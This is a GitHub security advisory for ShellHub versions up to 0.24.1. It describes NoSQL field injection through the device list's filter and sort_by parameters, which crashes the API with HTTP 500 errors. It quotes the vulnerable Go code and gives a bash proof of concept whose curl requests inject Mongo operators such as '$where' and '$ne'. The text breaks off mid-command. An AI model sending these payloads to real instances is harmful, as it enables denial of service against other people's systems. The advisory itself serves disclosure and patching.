GitHub Security Advisory: GHSA-47r2-v3x6-wff9
Package: github.com/shellhub-io/shellhub (GO)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-20: Improper Input Validation, CWE-943: Improper Neutralization of Special Elements in Data Query Logic, CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 0.24.1
Patched in: 0.24.2

Summary: ShellHub has crash-DoS via field injection in filter and sort-by parameters

Details:
## Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The `name` field of each filter property in the base64-encoded `filter`
     query parameter.
  2. The `sort_by` query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

## Severity
**CVSS 3.1: 6.5 (Medium)** 
CWE-20 (Improper Input Validation) 
CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

## Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).

## Root cause

### Vector 1 — Filter field name
  `api/store/mongo/query-options.go:140`:

  ```go
  conditions = append(conditions, bson.M{param.Name: property})
  ```

`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.

### Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{"$sort": {sortBy: order}}` without validation.

### Additional observation
`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

  ```go
  func fromContains(value interface{}) (bson.M, error) {
      switch value.(type) {
      case string:
          return bson.M{"$regex": value, "$options": "i"}, nil
  ```

## Proof of concept (validated live against v0.24.1)

  ```bash
  TOKEN=<valid-user-jwt>

  # Helper: base64-encode a filter payload
  encode_filter() {
    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
  }

  # --- Vector 1: filter field injection ---

  # Baseline: legitimate filter -> 200
  F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
  # HTTP=200

  # Exploit 1a: Mongo operator as field name
  F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
  # HTTP=500

  # Exploit 1b: nested object as value
  F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKE